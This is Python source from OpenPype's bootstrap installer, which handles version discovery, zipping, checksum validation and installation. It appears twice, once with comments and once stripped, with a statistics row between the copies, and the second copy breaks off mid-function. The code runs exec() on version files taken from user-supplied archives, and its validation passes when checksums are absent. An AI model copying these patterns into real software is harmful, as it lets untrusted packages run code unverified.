self.live_repo_dir = Path(sys.executable).parent / "repos"
else:
self.live_repo_dir = Path(Path(__file__).parent / ".." / "repos")
@staticmethod
def get_version_path_from_list(
version: str, version_list: list) -> Union[Path, None]:
"""Get path for specific version in list of OpenPype versions.
Args:
version (str): Version string to look for (1.2.4+staging)
version_list (list of OpenPypeVersion): list of version to search.
Returns:
Path: Path to given version.
"""
for v in version_list:
if str(v) == version:
return v.path
return None
@staticmethod
def get_local_live_version() -> str:
"""Get version of local OpenPype."""
version = {}
path = Path(os.environ["OPENPYPE_ROOT"]) / "openpype" / "version.py"
with open(path, "r") as fp:
exec(fp.read(), version)
return version["__version__"]
@staticmethod
def get_version(repo_dir: Path) -> Union[str, None]:
"""Get version of OpenPype in given directory.
Note: in frozen OpenPype installed in user data dir, this must point
one level deeper as it is:
`openpype-version-v3.0.0/openpype/version.py`
Args:
repo_dir (Path): Path to OpenPype repo.
Returns:
str: version string.
None: if OpenPype is not found.
"""
# try to find version
version_file = Path(repo_dir) / "openpype" / "version.py"
if not version_file.exists():
return None
version = {}
with version_file.open("r") as fp:
exec(fp.read(), version)
return version['__version__']
def create_version_from_live_code(
self, repo_dir: Path = None) -> Union[OpenPypeVersion, None]:
"""Copy zip created from OpenPype repositories to user data dir.
This detect OpenPype version either in local "live" OpenPype
repository or in user provided path. Then it will zip it in temporary
directory and finally it will move it to destination which is user
data directory. Existing files will be replaced.
Args:
repo_dir (Path, optional): Path to OpenPype repository.
Returns:
Path: path of installed repository file.
"""
# if repo dir is not set, we detect local "live" OpenPype repository
# version and use it as a source. Otherwise repo_dir is user
# entered location.
if not repo_dir:
version = self.get_local_live_version()
repo_dir = self.live_repo_dir
else:
version = self.get_version(repo_dir)
if not version:
self._print("OpenPype not found.", LOG_ERROR)
return
# create destination directory
if not self.data_dir.exists():
self.data_dir.mkdir(parents=True)
# create zip inside temporary directory.
with tempfile.TemporaryDirectory() as temp_dir:
temp_zip = \
Path(temp_dir) / f"openpype-v{version}.zip"
self._print(f"creating zip: {temp_zip}")
self._create_openpype_zip(temp_zip, repo_dir.parent)
if not os.path.exists(temp_zip):
self._print("make archive failed.", LOG_ERROR)
return None
destination = self._move_zip_to_data_dir(temp_zip)
return OpenPypeVersion(version=version, path=destination)
def _move_zip_to_data_dir(self, zip_file) -> Union[None, Path]:
"""Move zip with OpenPype version to user data directory.
Args:
zip_file (Path): Path to zip file.
Returns:
None if move fails.
Path to moved zip on success.
"""
destination = self.data_dir / zip_file.name
if destination.exists():
self._print(
f"Destination file {destination} exists, removing.",
LOG_WARNING)
try:
destination.unlink()
except Exception as e:
self._print(str(e), LOG_ERROR, exc_info=True)
return None
try:
shutil.move(zip_file.as_posix(), self.data_dir.as_posix())
except shutil.Error as e:
self._print(str(e), LOG_ERROR, exc_info=True)
return None
return destination
def _filter_dir(self, path: Path, path_filter: List) -> List[Path]:
"""Recursively crawl over path and filter."""
result = []
for item in path.iterdir():
if item.name in path_filter:
continue
if item.name.startswith('.'):
continue
if item.is_dir():
result.extend(self._filter_dir(item, path_filter))
else:
result.append(item)
return result
def create_version_from_frozen_code(self) -> Union[None, OpenPypeVersion]:
"""Create OpenPype version from *frozen* code distributed by installer.
This should be real edge case for those wanting to try out OpenPype
without setting up whole infrastructure but is strongly discouraged
in studio setup as this use local version independent of others
that can be out of date.
Returns:
:class:`OpenPypeVersion` zip file to be installed.
"""
frozen_root = Path(sys.executable).parent
openpype_list = []
for f in self.openpype_filter:
if (frozen_root / f).is_dir():
openpype_list += self._filter_dir(
frozen_root / f, self.zip_filter)
else:
openpype_list.append(frozen_root / f)
version = self.get_version(frozen_root)
# create zip inside temporary directory.
with tempfile.TemporaryDirectory() as temp_dir:
temp_zip = \
Path(temp_dir) / f"openpype-v{version}.zip"
self._print(f"creating zip: {temp_zip}")
with ZipFile(temp_zip, "w") as zip_file:
progress = 0
openpype_inc = 98.0 / float(len(openpype_list))
file: Path
for file in openpype_list:
progress += openpype_inc
self._progress_callback(int(progress))
arc_name = file.relative_to(frozen_root.parent)
# we need to replace first part of path which starts with
# something like `exe.win/linux....` with `openpype` as
# this is expected by OpenPype in zip archive.
arc_name = Path().joinpath(*arc_name.parts[1:])
zip_file.write(file, arc_name)
destination = self._move_zip_to_data_dir(temp_zip)
return OpenPypeVersion(version=version, path=destination)
def _create_openpype_zip(self, zip_path: Path, openpype_path: Path) -> None:
"""Pack repositories and OpenPype into zip.
We are using :mod:`zipfile` instead :meth:`shutil.make_archive`
because we need to decide what file and directories to include in zip
and what not. They are determined by :attr:`zip_filter` on file level
and :attr:`openpype_filter` on top level directory in OpenPype
repository.
Args:
zip_path (Path): Path to zip file.
openpype_path (Path): Path to OpenPype sources.
"""
# get filtered list of file in Pype repository
# openpype_list = self._filter_dir(openpype_path, self.zip_filter)
openpype_list = []
for f in self.openpype_filter:
if (openpype_path / f).is_dir():
openpype_list += self._filter_dir(
openpype_path / f, self.zip_filter)
else:
openpype_list.append(openpype_path / f)
openpype_files = len(openpype_list)
openpype_inc = 98.0 / float(openpype_files)
with ZipFile(zip_path, "w") as zip_file:
progress = 0
openpype_root = openpype_path.resolve()
# generate list of filtered paths
dir_filter = [openpype_root / f for f in self.openpype_filter]
checksums = []
file: Path
for file in openpype_list:
progress += openpype_inc
self._progress_callback(int(progress))
# if file resides in filtered path, skip it
is_inside = None
df: Path
for df in dir_filter:
try:
is_inside = file.resolve().relative_to(df)
except ValueError:
pass
if not is_inside:
continue
processed_path = file
self._print(f"- processing {processed_path}")
checksums.append(
(
sha256sum(file.as_posix()),
file.resolve().relative_to(openpype_root)
)
)
zip_file.write(
file, file.resolve().relative_to(openpype_root))
checksums_str = ""
for c in checksums:
checksums_str += "{}:{}\n".format(c[0], c[1])
zip_file.writestr("checksums", checksums_str)
# test if zip is ok
zip_file.testzip()
self._progress_callback(100)
def validate_openpype_version(self, path: Path) -> tuple:
"""Validate version directory or zip file.
This will load `checksums` file if present, calculate checksums
of existing files in given path and compare. It will also compare
lists of files together for missing files.
Args:
path (Path): Path to OpenPype version to validate.
Returns:
tuple(bool, str): with version validity as first item
and string with reason as second.
"""
if not path.exists():
return False, "Path doesn't exist"
if path.is_file():
return self._validate_zip(path)
return self._validate_dir(path)
@staticmethod
def _validate_zip(path: Path) -> tuple:
"""Validate content of zip file."""
with ZipFile(path, "r") as zip_file:
# read checksums
try:
checksums_data = str(zip_file.read("checksums"))
except IOError:
# FIXME: This should be set to False sometimes in the future
return True, "Cannot read checksums for archive."
# split it to the list of tuples
checksums = [
tuple(line.split(":"))
for line in checksums_data.split("\n") if line
]
# calculate and compare checksums in the zip file
for file in checksums:
h = hashlib.sha256()
try:
h.update(zip_file.read(file[1]))
except FileNotFoundError:
return False, f"Missing file [ {file[1]} ]"
if h.hexdigest() != file[0]:
return False, f"Invalid checksum on {file[1]}"
# get list of files in zip minus `checksums` file itself
# and turn in to set to compare against list of files
# from checksum file. If difference exists, something is
# wrong
files_in_zip = zip_file.namelist()
files_in_zip.remove("checksums")
files_in_zip = set(files_in_zip)
files_in_checksum = set([file[1] for file in checksums])
diff = files_in_zip.difference(files_in_checksum)
if diff:
return False, f"Missing files {diff}"
return True, "All ok"
@staticmethod
def _validate_dir(path: Path) -> tuple:
checksums_file = Path(path / "checksums")
if not checksums_file.exists():
# FIXME: This should be set to False sometimes in the future
return True, "Cannot read checksums for archive."
checksums_data = checksums_file.read_text()
checksums = [
tuple(line.split(":"))
for line in checksums_data.split("\n") if line
]
files_in_dir = [
file.relative_to(path).as_posix()
for file in path.iterdir() if file.is_file()
]
files_in_dir.remove("checksums")
files_in_dir = set(files_in_dir)
files_in_checksum = set([file[1] for file in checksums])
for file in checksums:
try:
current = sha256sum((path / file[1]).as_posix())
except FileNotFoundError:
return False, f"Missing file [ {file[1]} ]"
if file[0] != current:
return False, f"Invalid checksum on {file[1]}"
diff = files_in_dir.difference(files_in_checksum)
if diff:
return False, f"Missing files {diff}"
return True, "All ok"
@staticmethod
def add_paths_from_archive(archive: Path) -> None:
"""Add first-level directory and 'repos' as paths to :mod:`sys.path`.
This will enable Python to import OpenPype and modules in `repos`
submodule directory in zip file.
Adding to both `sys.path` and `PYTHONPATH`, skipping duplicates.
Args:
archive (Path): path to archive.
.. deprecated:: 3.0
we don't use zip archives directly
"""
if not archive.is_file() and not archive.exists():
raise ValueError("Archive is not file.")
with ZipFile(archive, "r") as zip_file:
name_list = zip_file.namelist()
roots = []
paths = []
for item in name_list:
if not item.startswith("repos/"):
continue
root = item.split("/")[1]
if root not in roots:
roots.append(root)
paths.append(
f"{archive}{os.path.sep}repos{os.path.sep}{root}")
sys.path.insert(0, paths[-1])
sys.path.insert(0, f"{archive}")
pythonpath = os.getenv("PYTHONPATH", "")
python_paths = pythonpath.split(os.pathsep)
python_paths += paths
os.environ["PYTHONPATH"] = os.pathsep.join(python_paths)
@staticmethod
def add_paths_from_directory(directory: Path) -> None:
"""Add repos first level directories as paths to :mod:`sys.path`.
This works the same as :meth:`add_paths_from_archive` but in
specified directory.
Adding to both `sys.path` and `PYTHONPATH`, skipping duplicates.
Args:
directory (Path): path to directory.
"""
sys.path.insert(0, directory.as_posix())
directory /= "repos"
if not directory.exists() and not directory.is_dir():
raise ValueError("directory is invalid")
roots = []
for item in directory.iterdir():
if item.is_dir():
root = item.as_posix()
if root not in roots:
roots.append(root)
sys.path.insert(0, root)
pythonpath = os.getenv("PYTHONPATH", "")
paths = pythonpath.split(os.pathsep)
paths += roots
os.environ["PYTHONPATH"] = os.pathsep.join(paths)
def find_openpype(
self,
openpype_path: Union[Path, str] = None,
staging: bool = False,
include_zips: bool = False) -> Union[List[OpenPypeVersion], None]:
"""Get ordered dict of detected OpenPype version.
Resolution order for OpenPype is following:
1) First we test for ``OPENPYPE_PATH`` environment variable
2) We try to find ``openPypePath`` in registry setting
3) We use user data directory
Args:
openpype_path (Path or str, optional): Try to find OpenPype on
the given path or url.
staging (bool, optional): Filter only staging version, skip them
otherwise.
include_zips (bool, optional): If set True it will try to find
OpenPype in zip files in given directory.
Returns:
dict of Path: Dictionary of detected OpenPype version.
Key is version, value is path to zip file.
None: if OpenPype is not found.
Todo:
implement git/url support as OpenPype location, so it would be
possible to enter git url, OpenPype would check it out and if it is
ok install it as normal version.
"""
if openpype_path and not isinstance(openpype_path, Path):
raise NotImplementedError(
("Finding OpenPype in non-filesystem locations is"
" not implemented yet."))
dir_to_search = self.data_dir
user_versions = self.get_openpype_versions(self.data_dir, staging)
# if we have openpype_path specified, search only there.
if openpype_path:
dir_to_search = openpype_path
else:
if os.getenv("OPENPYPE_PATH"):
if Path(os.getenv("OPENPYPE_PATH")).exists():
dir_to_search = Path(os.getenv("OPENPYPE_PATH"))
else:
try:
registry_dir = Path(
str(self.registry.get_item("openPypePath")))
if registry_dir.exists():
dir_to_search = registry_dir
except ValueError:
# nothing found in registry, we'll use data dir
pass
openpype_versions = self.get_openpype_versions(dir_to_search, staging)
openpype_versions += user_versions
# remove zip file version if needed.
if not include_zips:
openpype_versions = [
v for v in openpype_versions if v.path.suffix != ".zip"
]
# remove duplicates
openpype_versions = sorted(list(set(openpype_versions)))
return openpype_versions
def process_entered_location(self, location: str) -> Union[Path, None]:
"""Process user entered location string.
It decides if location string is mongodb url or path.
If it is mongodb url, it will connect and load ``OPENPYPE_PATH`` from
there and use it as path to OpenPype. In it is _not_ mongodb url, it
is assumed we have a path, this is tested and zip file is
produced and installed using :meth:`create_version_from_live_code`.
Args:
location (str): User entered location.
Returns:
Path: to OpenPype zip produced from this location.
None: Zipping failed.
"""
openpype_path = None
# try to get OpenPype path from mongo.
if location.startswith("mongodb"):
openpype_path = get_openpype_path_from_db(location)
if not openpype_path:
self._print("cannot find OPENPYPE_PATH in settings.")
return None
# if not successful, consider location to be fs path.
if not openpype_path:
openpype_path = Path(location)
# test if this path does exist.
if not openpype_path.exists():
self._print(f"{openpype_path} doesn't exists.")
return None
# test if entered path isn't user data dir
if self.data_dir == openpype_path:
self._print("cannot point to user data dir", LOG_ERROR)
return None
# find openpype zip files in location. There can be
# either "live" OpenPype repository, or multiple zip files or even
# multiple OpenPype version directories. This process looks into zip
# files and directories and tries to parse `version.py` file.
versions = self.find_openpype(openpype_path, include_zips=True)
if versions:
self._print(f"found OpenPype in [ {openpype_path} ]")
self._print(f"latest version found is [ {versions[-1]} ]")
return self.install_version(versions[-1])
# if we got here, it means that location is "live"
# OpenPype repository. We'll create zip from it and move it to user
# data dir.
live_openpype = self.create_version_from_live_code(openpype_path)
if not live_openpype.path.exists():
self._print(f"installing zip {live_openpype} failed.", LOG_ERROR)
return None
# install it
return self.install_version(live_openpype)
def _print(self,
message: str,
level: int = LOG_INFO,
exc_info: bool = False):
"""Helper function passing logs to UI and to logger.
Supporting 3 levels of logs defined with `LOG_INFO`, `LOG_WARNING` and
`LOG_ERROR` constants.
Args:
message (str): Message to log.
level (int, optional): Log level to use.
exc_info (bool, optional): Exception info object to pass to logger.
"""
if self._message:
self._message.emit(message, level == LOG_ERROR)
if level == LOG_WARNING:
self._log.warning(message, exc_info=exc_info)
return
if level == LOG_ERROR:
self._log.error(message, exc_info=exc_info)
return
self._log.info(message, exc_info=exc_info)
def extract_openpype(self, version: OpenPypeVersion) -> Union[Path, None]:
"""Extract zipped OpenPype version to user data directory.
Args:
version (OpenPypeVersion): Version of OpenPype.
Returns:
Path: path to extracted version.
None: if something failed.
"""
if not version.path:
raise ValueError(
f"version {version} is not associated with any file")
destination = self.data_dir / version.path.stem
if destination.exists():
assert destination.is_dir()
try:
shutil.rmtree(destination)
except OSError as e:
msg = f"!!! Cannot remove already existing {destination}"
self._print(msg, LOG_ERROR, exc_info=True)
raise e
destination.mkdir(parents=True)
# extract zip there
self._print("Extracting zip to destination ...")
with ZipFile(version.path, "r") as zip_ref:
zip_ref.extractall(destination)
self._print(f"Installed as {version.path.stem}")
return destination
def is_inside_user_data(self, path: Path) -> bool:
"""Test if version is located in user data dir.
Args:
path (Path) Path to test.
Returns:
True if path is inside user data dir.
"""
is_inside = False
try:
is_inside = path.resolve().relative_to(
self.data_dir)
except ValueError:
# if relative path cannot be calculated, OpenPype version is not
# inside user data dir
pass
return is_inside
def install_version(self,
openpype_version: OpenPypeVersion,
force: bool = False) -> Path:
"""Install OpenPype version to user data directory.
Args:
openpype_version (OpenPypeVersion): OpenPype version to install.
force (bool, optional): Force overwrite existing version.
Returns:
Path: Path to installed OpenPype.
Raises:
OpenPypeVersionExists: If not forced and this version already exist
in user data directory.
OpenPypeVersionInvalid: If version to install is invalid.
OpenPypeVersionIOError: If copying or zipping fail.
"""
if self.is_inside_user_data(openpype_version.path) and not openpype_version.path.is_file(): # noqa
raise OpenPypeVersionExists(
"OpenPype already inside user data dir")
# determine destination directory name
# for zip file strip suffix, in case of dir use whole dir name
if openpype_version.path.is_dir():
dir_name = openpype_version.path.name
else:
dir_name = openpype_version.path.stem
destination = self.data_dir / dir_name
# test if destination directory already exist, if so lets delete it.
if destination.exists() and force:
self._print("removing existing directory")
try:
shutil.rmtree(destination)
except OSError as e:
self._print(
f"cannot remove already existing {destination}",
LOG_ERROR, exc_info=True)
raise OpenPypeVersionIOError(
f"cannot remove existing {destination}") from e
elif destination.exists() and not force:
self._print("destination directory already exists")
raise OpenPypeVersionExists(f"{destination} already exist.")
else:
# create destination parent directories even if they don't exist.
destination.mkdir(parents=True)
# version is directory
if openpype_version.path.is_dir():
# create zip inside temporary directory.
self._print("Creating zip from directory ...")
self._progress_callback(0)
with tempfile.TemporaryDirectory() as temp_dir:
temp_zip = \
Path(temp_dir) / f"openpype-v{openpype_version}.zip"
self._print(f"creating zip: {temp_zip}")
self._create_openpype_zip(temp_zip, openpype_version.path)
if not os.path.exists(temp_zip):
self._print("make archive failed.", LOG_ERROR)
raise OpenPypeVersionIOError("Zip creation failed.")
# set zip as version source
openpype_version.path = temp_zip
if self.is_inside_user_data(openpype_version.path):
raise OpenPypeVersionInvalid(
"Version is in user data dir.")
openpype_version.path = self._copy_zip(
openpype_version.path, destination)
elif openpype_version.path.is_file():
# check if file is zip (by extension)
if openpype_version.path.suffix.lower() != ".zip":
raise OpenPypeVersionInvalid("Invalid file format")
if not self.is_inside_user_data(openpype_version.path):
self._progress_callback(35)
openpype_version.path = self._copy_zip(
openpype_version.path, destination)
# extract zip there
self._print("extracting zip to destination ...")
with ZipFile(openpype_version.path, "r") as zip_ref:
self._progress_callback(75)
zip_ref.extractall(destination)
self._progress_callback(100)
return destination
def _copy_zip(self, source: Path, destination: Path) -> Path:
try:
# copy file to destination
self._print("Copying zip to destination ...")
_destination_zip = destination.parent / source.name # noqa: E501
copyfile(
source.as_posix(),
_destination_zip.as_posix())
except OSError as e:
self._print(
"cannot copy version to user data directory", LOG_ERROR,
exc_info=True)
raise OpenPypeVersionIOError((
f"can't copy version {source.as_posix()} "
f"to destination {destination.parent.as_posix()}")) from e
return _destination_zip
def _is_openpype_in_dir(self,
dir_item: Path,
detected_version: OpenPypeVersion) -> bool:
"""Test if path item is OpenPype version matching detected version.
If item is directory that might (based on it's name)
contain OpenPype version, check if it really does contain
OpenPype and that their versions matches.
Args:
dir_item (Path): Directory to test.
detected_version (OpenPypeVersion): OpenPype version detected
from name.
Returns:
True if it is valid OpenPype version, False otherwise.
"""
try:
# add one 'openpype' level as inside dir there should
# be many other repositories.
version_str = BootstrapRepos.get_version(dir_item)
version_check = OpenPypeVersion(version=version_str)
except ValueError:
self._print(
f"cannot determine version from {dir_item}", True)
return False
version_main = version_check.get_main_version()
detected_main = detected_version.get_main_version()
if version_main != detected_main:
self._print(
(f"dir version ({detected_version}) and "
f"its content version ({version_check}) "
"doesn't match. Skipping."))
return False
return True
def _is_openpype_in_zip(self,
zip_item: Path,
detected_version: OpenPypeVersion) -> bool:
"""Test if zip path is OpenPype version matching detected version.
Open zip file, look inside and parse version from OpenPype
inside it. If there is none, or it is different from
version specified in file name, skip it.
Args:
zip_item (Path): Zip file to test.
detected_version (OpenPypeVersion): Pype version detected from name.
Returns:
True if it is valid OpenPype version, False otherwise.
"""
# skip non-zip files
if zip_item.suffix.lower() != ".zip":
return False
try:
with ZipFile(zip_item, "r") as zip_file:
with zip_file.open(
"openpype/version.py") as version_file:
zip_version = {}
exec(version_file.read(), zip_version)
try:
version_check = OpenPypeVersion(
version=zip_version["__version__"])
except ValueError as e:
self._print(str(e), True)
return False
version_main = version_check.get_main_version() # noqa: E501
detected_main = detected_version.get_main_version() # noqa: E501
if version_main != detected_main:
self._print(
(f"zip version ({detected_version}) "
f"and its content version "
f"({version_check}) "
"doesn't match. Skipping."), True)
return False
except BadZipFile:
self._print(f"{zip_item} is not a zip file", True)
return False
except KeyError:
self._print("Zip does not contain OpenPype", True)
return False
return True
def get_openpype_versions(self,
openpype_dir: Path,
staging: bool = False) -> list:
"""Get all detected OpenPype versions in directory.
Args:
openpype_dir (Path): Directory to scan.
staging (bool, optional): Find staging versions if True.
Returns:
list of OpenPypeVersion
Throws:
ValueError: if invalid path is specified.
"""
if not openpype_dir.exists() and not openpype_dir.is_dir():
raise ValueError("specified directory is invalid")
_openpype_versions = []
# iterate over directory in first level and find all that might
# contain OpenPype.
for item in openpype_dir.iterdir():
# if file, strip extension, in case of dir not.
name = item.name if item.is_dir() else item.stem
result = OpenPypeVersion.version_in_str(name)
if result[0]:
detected_version: OpenPypeVersion
detected_version = result[1]
if item.is_dir() and not self._is_openpype_in_dir(
item, detected_version
):
continue
if item.is_file() and not self._is_openpype_in_zip(
item, detected_version
):
continue
detected_version.path = item
if staging and detected_version.is_staging():
_openpype_versions.append(detected_version)
if not staging and not detected_version.is_staging():
_openpype_versions.append(detected_version)
return sorted(_openpype_versions)
class OpenPypeVersionExists(Exception):
"""Exception for handling existing OpenPype version."""
pass
class OpenPypeVersionInvalid(Exception):
"""Exception for handling invalid OpenPype version."""
pass
class OpenPypeVersionIOError(Exception):
"""Exception for handling IO errors in OpenPype version."""
pass
| 35.208993 | 286 | 0.575226 |
from __future__ import annotations
import logging as log
import os
import re
import shutil
import sys
import tempfile
from pathlib import Path
from typing import Union, Callable, List, Tuple
import hashlib
from zipfile import ZipFile, BadZipFile
from appdirs import user_data_dir
from speedcopy import copyfile
import semver
from .user_settings import (
OpenPypeSecureRegistry,
OpenPypeSettingsRegistry
)
from .tools import get_openpype_path_from_db
LOG_INFO = 0
LOG_WARNING = 1
LOG_ERROR = 3
def sha256sum(filename):
h = hashlib.sha256()
b = bytearray(128 * 1024)
mv = memoryview(b)
with open(filename, 'rb', buffering=0) as f:
for n in iter(lambda: f.readinto(mv), 0):
h.update(mv[:n])
return h.hexdigest()
class OpenPypeVersion(semver.VersionInfo):
staging = False
path = None
_VERSION_REGEX = re.compile(r"(?P<major>0|[1-9]\d*)\.(?P<minor>0|[1-9]\d*)\.(?P<patch>0|[1-9]\d*)(?:-(?P<prerelease>(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*)(?:\.(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*))*))?(?:\+(?P<buildmetadata>[0-9a-zA-Z-]+(?:\.[0-9a-zA-Z-]+)*))?$")
def __init__(self, *args, **kwargs):
self.path = None
self.staging = False
if "version" in kwargs.keys():
if not kwargs.get("version"):
raise ValueError("Invalid version specified")
v = OpenPypeVersion.parse(kwargs.get("version"))
kwargs["major"] = v.major
kwargs["minor"] = v.minor
kwargs["patch"] = v.patch
kwargs["prerelease"] = v.prerelease
kwargs["build"] = v.build
kwargs.pop("version")
if kwargs.get("path"):
if isinstance(kwargs.get("path"), str):
self.path = Path(kwargs.get("path"))
elif isinstance(kwargs.get("path"), Path):
self.path = kwargs.get("path")
else:
raise TypeError("Path must be str or Path")
kwargs.pop("path")
if "path" in kwargs.keys():
kwargs.pop("path")
if kwargs.get("staging"):
self.staging = kwargs.get("staging", False)
kwargs.pop("staging")
if "staging" in kwargs.keys():
kwargs.pop("staging")
if self.staging:
if kwargs.get("build"):
if "staging" not in kwargs.get("build"):
kwargs["build"] = "{}-staging".format(kwargs.get("build"))
else:
kwargs["build"] = "staging"
if kwargs.get("build") and "staging" in kwargs.get("build", ""):
self.staging = True
super().__init__(*args, **kwargs)
def __eq__(self, other):
result = super().__eq__(other)
return bool(result and self.staging == other.staging)
def __repr__(self):
return "<{}: {} - path={}>".format(
self.__class__.__name__, str(self), self.path)
def __lt__(self, other: OpenPypeVersion):
result = super().__lt__(other)
if self == other and not self.path and other.path:
return True
if self == other and self.path and other.path and \
other.path.is_dir() and self.path.is_file():
return True
if self.finalize_version() == other.finalize_version() and \
self.prerelease == other.prerelease and \
self.is_staging() and not other.is_staging():
return True
return result
def set_staging(self) -> OpenPypeVersion:
if self.staging:
return self
return self.replace(parts={"build": f"{self.build}-staging"})
def set_production(self) -> OpenPypeVersion:
if not self.staging:
return self
return self.replace(
parts={"build": self.build.replace("-staging", "")})
def is_staging(self) -> bool:
return self.staging
def get_main_version(self) -> str:
return str(self.finalize_version())
@staticmethod
def version_in_str(string: str) -> Tuple:
m = re.search(OpenPypeVersion._VERSION_REGEX, string)
if not m:
return False, None
version = OpenPypeVersion.parse(string[m.start():m.end()])
return True, version
@classmethod
def parse(cls, version):
v = super().parse(version)
openpype_version = cls(major=v.major, minor=v.minor,
patch=v.patch, prerelease=v.prerelease,
build=v.build)
if v.build and "staging" in v.build:
openpype_version.staging = True
return openpype_version
def __hash__(self):
if self.path:
return hash(self.path)
else:
return hash(str(self))
class BootstrapRepos:
def __init__(self, progress_callback: Callable = None, message=None):
self._vendor = "pypeclub"
self._app = "openpype"
self._log = log.getLogger(str(__class__))
self.data_dir = Path(user_data_dir(self._app, self._vendor))
self.secure_registry = OpenPypeSecureRegistry("mongodb")
self.registry = OpenPypeSettingsRegistry()
self.zip_filter = [".pyc", "__pycache__"]
self.openpype_filter = [
"openpype", "repos", "schema", "LICENSE"
]
self._message = message
def empty_progress(x: int):
return x
if not progress_callback:
progress_callback = empty_progress
self._progress_callback = progress_callback
if getattr(sys, "frozen", False):
self.live_repo_dir = Path(sys.executable).parent / "repos"
else:
self.live_repo_dir = Path(Path(__file__).parent / ".." / "repos")
@staticmethod
def get_version_path_from_list(
version: str, version_list: list) -> Union[Path, None]:
for v in version_list:
if str(v) == version:
return v.path
return None
@staticmethod
def get_local_live_version() -> str:
version = {}
path = Path(os.environ["OPENPYPE_ROOT"]) / "openpype" / "version.py"
with open(path, "r") as fp:
exec(fp.read(), version)
return version["__version__"]
@staticmethod
def get_version(repo_dir: Path) -> Union[str, None]:
version_file = Path(repo_dir) / "openpype" / "version.py"
if not version_file.exists():
return None
version = {}
with version_file.open("r") as fp:
exec(fp.read(), version)
return version['__version__']
def create_version_from_live_code(
self, repo_dir: Path = None) -> Union[OpenPypeVersion, None]:
if not repo_dir:
version = self.get_local_live_version()
repo_dir = self.live_repo_dir
else:
version = self.get_version(repo_dir)
if not version:
self._print("OpenPype not found.", LOG_ERROR)
return
if not self.data_dir.exists():
self.data_dir.mkdir(parents=True)
with tempfile.TemporaryDirectory() as temp_dir:
temp_zip = \
Path(temp_dir) / f"openpype-v{version}.zip"
self._print(f"creating zip: {temp_zip}")
self._create_openpype_zip(temp_zip, repo_dir.parent)
if not os.path.exists(temp_zip):
self._print("make archive failed.", LOG_ERROR)
return None
destination = self._move_zip_to_data_dir(temp_zip)
return OpenPypeVersion(version=version, path=destination)
def _move_zip_to_data_dir(self, zip_file) -> Union[None, Path]:
destination = self.data_dir / zip_file.name
if destination.exists():
self._print(
f"Destination file {destination} exists, removing.",
LOG_WARNING)
try:
destination.unlink()
except Exception as e:
self._print(str(e), LOG_ERROR, exc_info=True)
return None
try:
shutil.move(zip_file.as_posix(), self.data_dir.as_posix())
except shutil.Error as e:
self._print(str(e), LOG_ERROR, exc_info=True)
return None
return destination
def _filter_dir(self, path: Path, path_filter: List) -> List[Path]:
result = []
for item in path.iterdir():
if item.name in path_filter:
continue
if item.name.startswith('.'):
continue
if item.is_dir():
result.extend(self._filter_dir(item, path_filter))
else:
result.append(item)
return result
def create_version_from_frozen_code(self) -> Union[None, OpenPypeVersion]:
frozen_root = Path(sys.executable).parent
openpype_list = []
for f in self.openpype_filter:
if (frozen_root / f).is_dir():
openpype_list += self._filter_dir(
frozen_root / f, self.zip_filter)
else:
openpype_list.append(frozen_root / f)
version = self.get_version(frozen_root)
with tempfile.TemporaryDirectory() as temp_dir:
temp_zip = \
Path(temp_dir) / f"openpype-v{version}.zip"
self._print(f"creating zip: {temp_zip}")
with ZipFile(temp_zip, "w") as zip_file:
progress = 0
openpype_inc = 98.0 / float(len(openpype_list))
file: Path
for file in openpype_list:
progress += openpype_inc
self._progress_callback(int(progress))
arc_name = file.relative_to(frozen_root.parent)
arc_name = Path().joinpath(*arc_name.parts[1:])
zip_file.write(file, arc_name)
destination = self._move_zip_to_data_dir(temp_zip)
return OpenPypeVersion(version=version, path=destination)
def _create_openpype_zip(self, zip_path: Path, openpype_path: Path) -> None:
openpype_list = []
for f in self.openpype_filter:
if (openpype_path / f).is_dir():
openpype_list += self._filter_dir(
openpype_path / f, self.zip_filter)
else:
openpype_list.append(openpype_path / f)
openpype_files = len(openpype_list)
openpype_inc = 98.0 / float(openpype_files)
with ZipFile(zip_path, "w") as zip_file:
progress = 0
openpype_root = openpype_path.resolve()
dir_filter = [openpype_root / f for f in self.openpype_filter]
checksums = []
file: Path
for file in openpype_list:
progress += openpype_inc
self._progress_callback(int(progress))
is_inside = None
df: Path
for df in dir_filter:
try:
is_inside = file.resolve().relative_to(df)
except ValueError:
pass
if not is_inside:
continue
processed_path = file
self._print(f"- processing {processed_path}")
checksums.append(
(
sha256sum(file.as_posix()),
file.resolve().relative_to(openpype_root)
)
)
zip_file.write(
file, file.resolve().relative_to(openpype_root))
checksums_str = ""
for c in checksums:
checksums_str += "{}:{}\n".format(c[0], c[1])
zip_file.writestr("checksums", checksums_str)
zip_file.testzip()
self._progress_callback(100)
def validate_openpype_version(self, path: Path) -> tuple:
if not path.exists():
return False, "Path doesn't exist"
if path.is_file():
return self._validate_zip(path)
return self._validate_dir(path)
@staticmethod
def _validate_zip(path: Path) -> tuple:
with ZipFile(path, "r") as zip_file:
# read checksums
try:
checksums_data = str(zip_file.read("checksums"))
except IOError:
# FIXME: This should be set to False sometimes in the future
return True, "Cannot read checksums for archive."
# split it to the list of tuples
checksums = [
tuple(line.split(":"))
for line in checksums_data.split("\n") if line
]
# calculate and compare checksums in the zip file
for file in checksums:
h = hashlib.sha256()
try:
h.update(zip_file.read(file[1]))
except FileNotFoundError:
return False, f"Missing file [ {file[1]} ]"
if h.hexdigest() != file[0]:
return False, f"Invalid checksum on {file[1]}"
# get list of files in zip minus `checksums` file itself
# and turn in to set to compare against list of files
# from checksum file. If difference exists, something is
# wrong
files_in_zip = zip_file.namelist()
files_in_zip.remove("checksums")
files_in_zip = set(files_in_zip)
files_in_checksum = set([file[1] for file in checksums])
diff = files_in_zip.difference(files_in_checksum)
if diff:
return False, f"Missing files {diff}"
return True, "All ok"
@staticmethod
def _validate_dir(path: Path) -> tuple:
checksums_file = Path(path / "checksums")
if not checksums_file.exists():
# FIXME: This should be set to False sometimes in the future
return True, "Cannot read checksums for archive."
checksums_data = checksums_file.read_text()
checksums = [
tuple(line.split(":"))
for line in checksums_data.split("\n") if line
]
files_in_dir = [
file.relative_to(path).as_posix()
for file in path.iterdir() if file.is_file()
]
files_in_dir.remove("checksums")
files_in_dir = set(files_in_dir)
files_in_checksum = set([file[1] for file in checksums])
for file in checksums:
try:
current = sha256sum((path / file[1]).as_posix())
except FileNotFoundError:
return False, f"Missing file [ {file[1]} ]"
if file[0] != current:
return False, f"Invalid checksum on {file[1]}"
diff = files_in_dir.difference(files_in_checksum)
